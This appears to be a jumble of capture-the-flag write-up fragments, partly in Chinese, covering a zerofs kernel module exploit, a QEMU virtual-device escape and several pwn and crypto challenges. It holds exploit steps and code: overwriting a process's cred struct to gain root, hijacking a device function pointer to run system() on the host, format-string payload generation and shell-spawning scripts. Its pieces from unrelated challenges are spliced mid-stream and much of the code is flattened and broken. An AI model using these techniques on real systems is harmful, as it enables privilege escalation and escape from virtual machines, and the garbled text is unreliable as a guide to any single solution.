zerofs.ko is a driver module of a custom filesystem. The kernel and the module is compiled by randstruct plugin, which I found in the magic string – vermagic=4.13.0 SMP mod_unload modversionsRANDSTRUCT_PLUGIN_3c73df5cc8285309b74c8a4caaf831205da45096402d3b1a80caab1d7fa1b03a`. run.sh and /init show that the kernel is protected by SMEP, SMAP, KASLR, kptr_restrict and dmesg_restrict.
zerofs.ko
I found the module may be modified from simplefs after the game. By reversing zerofs.ko, I knew the blocksize is 4096 bits. The first block of the image is the superblock. It consists of magic, block_size, inode_count and free_blocks bitmap.
The second block records all of the inodes in an array. ino is inode number, and dno is the block number of the image.
There is a root inode which ino is 1. It indicates the root dictionary. There is a block corresponding to root dictionary to indicates files in the dictionary. It is an array of zerofs_dir_record structure.
Vulnerabilitie
There isn’t any bound or size check in read and write function. If the filesize we set in image is bigger than blocksize(0x1000), there will be an out-of-bound read/write when invoking copy_to_user/copy_from_user.
with open('fs/tmp/zerofs.img', 'wb') as f: f.write(img)
Exploit
After mounting the image, I could trigger out-of-bound read by read the file 666. I tried to find CRED struct in leaked memory. Fortunately, I found some by searching the uid. It took me some time to locate CRED struct because of the radomization of structures.
I still didn’t know which CRED is valid and which process the CRED belongs to although I could find some CRED structures. The exploit is not stable, so I run the exploit serval times. After leaking the memory, the exploit will check if it gets root privilege in a loop. If so, it invokes system("sha256sum /root/flag");.
The last step is to write the CRED. I invoked llseek to set offset to the CRED, and invoked write to modify the CRED, setting uid to 0.
luanch.sh shows there are two custom device named vdd.
1 2
$ ./qemu-system-x86_64 -device help 2>&1 | grep VDD name "VDD", bus PCI, desc "KeenLab virtualized Devices For Testing D"
we can use some commands to find these devices and their io port/memroy.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
# lspci 00:00.0 Class 0600: 8086:1237 00:01.3 Class 0680: 8086:7113 00:03.0 Class 0200: 8086:100e 00:01.1 Class 0101: 8086:7010 00:02.0 Class 0300: 1234:1111 00:05.0 Class 00ff: 1234:2333 00:01.0 Class 0601: 8086:7000 00:04.0 Class 00ff: 1234:2333 # cat /proc/iomem ... fe900000-fe9fffff : 0000:00:04.0 fea00000-feafffff : 0000:00:05.0 ... # cat /proc/ioports ... c000-c0ff : 0000:00:04.0 c100-c1ff : 0000:00:05.0 ...
OOBW
In vdd_mmio_write, there is a out-of-bound write vulnerability which copys QEMU heap memory to guset physical memory when we set dma_len larger than sizeof(dam_buf).
First, we allocate a buffer and get it’s physical address. Then we set dma_state->dst to our buffer and set dma_len larger than sizeof(dma_buf). Finally, we trigger phys_mem_write by writel(0, piomem + 32). By searching the output, we can find libc addresses and program addresses then calculate the base address of program/libc.
Becasue the QEMU is launched with --nographic -append 'console=ttyS0', so we can simply invoke system(cmd) to run a command in host machine and the output will show in console.
To invoke system(cmd), We need to:
set opaque->dma_state->phys_mem_read to system
set opaque->dma_buf to cmd
make sure opaque->dma_state->cmd != 0.
In vdd_linear_write, when addr == 0, a buffer will be allocated with size of opaque->dma_len. And the data in opaque->dma_state->src with length of opaque->dma_len will be copied to opaque->buf, then copied to opaque->dma_state->dst
def search(): i = 0 with open('deletei') as f: cipher = f.read().strip() while i < len(cipher): now = cipher[i:i+3] find = cipher[i+3:].find(cipher[i:i+3]) if find != -1: print cipher[i:i+3], find+3 i += 1
def findk(src, des): for k in xrange(26): if tr[k][ord(des)-ord('a')] == ord(src)-ord('a'): return chr(k + ord('a'))
def key(): k = '' with open('split2') as f: for line in f: fre = {} line = line.strip() for c in line: if c in fre: fre[c] += 1 else: fre[c] = 1 sort_fre = sorted(fre.iteritems(),key=lambda fre:fre[1],reverse=True) k += findk('e', sort_fre[0][0]) print k
Different people see different me. But I am always myself. 202.112.26.114:12321 Make the output of your program exactly the same as your source code. At least 3 correct to get this flag $python2 –version Python 2.7.6 $python3 –version Python 3.4.0 $gcc –version gcc (Ubuntu 4.8.2-19ubuntu1) 4.8.2 $ruby –version ruby 1.9.3p484 (2013-11-22 revision 43786) [x86_64-linux] $perl –version This is perl 5, version 18, subversion 2 (v5.18.2) built for x86_64-linux-gnu-thread-multi
Talentyange gives lots of tedious apks and you know how bad he is now. Let’s try some interesting geography knowledge. nc 202.112.26.111 29995 / nc 202.112.28.118 29995
上去以后问你xxx是哪里的,用国家2字母简称表达。 前20轮给国家,21-70给地名,70-75问你河流或者山脉经过的国家。。。 前70用google map的geocoding api 后70轮用google+维基百科手动输入+自动缓存
# level 1 for i in range(70): buf = io.read_until(':') country_name = re.findall(r'n(.+)?:', buf)[0] # print country_name # country = pycountry.countries.get(name=country_name) # io.writeline(country_ascii2_dict[country_name]) if country_name in correct: io.writeline(correct[country_name]) else: io.writeline(geo(country_name))
# load level2 = {} with open('level2') as f: level2 = json.loads(f.read())
buf = io.read_until(':') # level 2 try: for i in range(30): question = re.findall(r'n(.+)?:', buf)[0] if question in level2: ans = level2[question] else: ans = raw_input() ans = ans.strip().split(',') for c in ans: if c in correct: io.writeline(correct[c]) else: io.writeline(geo(c)) buf = io.read_until(':') level2[question] = ans except Exception, e: with open('level2','w') as f: f.write(json.dumps(level2)) print e exit()
with open('level2','w') as f: f.write(json.dumps(level2))
Login as guest. Logout as root. libc.so.6 202.112.26.107:10910 202.112.28.116:10910
Notice: Ubuntu 14.04.2 LTS The process is protected by a sandbox. So you may not get a shell. The only thing you can do is reading the “flag”. If you want to break the sandbox, turn to task “0ops APP”.
漏洞发现
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH login
# gen p sum = 0 p = "" for i in range(8): t = (fun >> i*8) & 0xff t = 0x100 * i + t - sum sum += t p += '%0' p += str(t) p += 'x' p += '%' p += '%d' % (40 + i) p += '$n'
i = 0 \# io.gdb_hint() for dword in payload: io.read_until('Which one you want QooBee to work(99 to leave)?') io.writeline("%d" % (18+i)) io.read_until('How long for this one?') io.writeline("%u" % struct.unpack('<i', dword)) i += 1
io.writeline('99') io.writeline(shellcode2)
io.interact()
Qoobee4
利用分析
fun1的输入description栈溢出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
int \_\_cdecl sub\_8048BC8(int a1) { int v1; // ST28_4@1 int v2; // ecx@1 int result; // eax@1 char src; // \[sp+1Eh\] \[bp-2Ah\]@1 int v5; // \[sp+3Ch\] \[bp-Ch\]@1
defforlast2(): global flag log('last round') io.read_until('Your Choice: ') io.writeline('7') for i in rightset: log(i) log(right_dic\[i\]) io.read_until('Select one:') io.writeline(right_dic\[i\]) c = checkround3() if c: flag += c log('flag:%s' % flag)
defforlast(): global flag log('last round') io.read_until('Your Choice: ') io.writeline('7') for i in rightset: log(i) log(right_dic\[i\]) io.read_until('Select one:') io.writeline(right_dic\[i\]) c = checkround2() if c=='$': forlast2() elif c: flag += c log('flag:%s' % flag)
defround(): global flag for j in range(32): log('new round') io.read_until('Your Choice: ') io.writeline('7') for i in rightset: log(i) log(right_dic\[i\]) io.read_until('Select one:') io.writeline(right_dic\[i\]) c = checkround() if c=='$': forlast() elif c: flag += c log('flag:%s' % flag)
pwn200: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26 RELRO STACK CANARY NX PIE RPATH RUNPATH FILE No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH pwn200
pwn300: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24 RELRO STACK CANARY NX PIE RPATH RUNPATH FILE No RELRO Canary found NX enabled No PIE No RPATH No RUNPATH pwn300
\# set src=sh and call memset io.read_until('your choice:') io.write('2n') io.read_until('message') io.write('shn') io.read_until('your choice:') io.write('2n') io.read_until('message') io.write('shn')
io.interact()
flag SCTF{ZQzq2617}
PWN400
1 2 3
pwn400: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26 RELRO STACK CANARY NX PIE RPATH RUNPATH FILE No RELRO Canary found NX disabled No PIE No RPATH No RUNPATH pwn400
key = '' c = '' str = '' t = chr(0) i = 0 find = 0 ckey = g2.read(1)
realkey=''
for p in f: for k1 in range(0, 256): k1 = chr(k1) find=0 c = chr(( ord(p) + (ord(k1) ^ ord(t)) + i**i ) & 0xff) if c == ckey: print'get %d is %c' % (i, k1) realkey += k1 find = 1 break if find ==0: print'cant find NO.', i break t = p i += 1 ckey = g2.read(1)
g = open('msg02.enc', 'rb').read() f = open('msgtest02', 'wb') key = 'DoNotTryToGuessWhatDoesD3AdCa7ThinkOf' i = 0 t = chr(0) p = '' str = '' for c in g: p =chr( (ord(c) - i**i - (ord(key\[i % len(key)\]) ^ ord(t)) ) & 0xff ) t = p i += 1 str += p f.write(p)
ACTF清明放假回家。。所以就不做了,抽空做了两个简单的密码的。 题目 本题flag不在ACTF{}中。 oivqmqgn, yja vibem naarn yi yxbo sqnyab yjqo q zixuea is gaqbn qdi. ykra jqn zira yi baseazy yjqy qeni ko yja ujbqzw rqdqhkoa. yjkn kn vjqy yja uquab saam kn qpixy: gix nxprky q uquab, va backav ky qom ky dayn uxpeknjam. oi oaam yi vqky q rioyj ib yvi xoyke gix naa gixb qbykzea ko yja oafy ujbqzw knnxa, vjao yja ykra jqn zira, va’ee mazkma yi zirukea q oav knnxa sbir yja qbykzean yjqy jqca paao nxprkyyam. yjqy’n pqnkzqeeg ky. qom dbqp gix seqd jaba, zbguyiiiniziieqrkbkdjy? ————割———— 很像单表代换的,参考辅助处理单表替换密码 yja很明显应该是the,剩下的慢慢试试。 下面的就转出部分没有转全 nowadays, the world seems to turn faster than a couple of years ago. time has come to reflect that also in the phracw magahine. this is what the paper feed is about: you submit a paper, we review it and it gets published. no need to wait a month or two until you see your article in the neft phracw issue, when the time has come, we’ll decide to compile a new issue from the articles that have been submitted. that’s basically it. and grab you flag here, cryptooosocoolamiright? key在最后一句cryptooosocoolamiright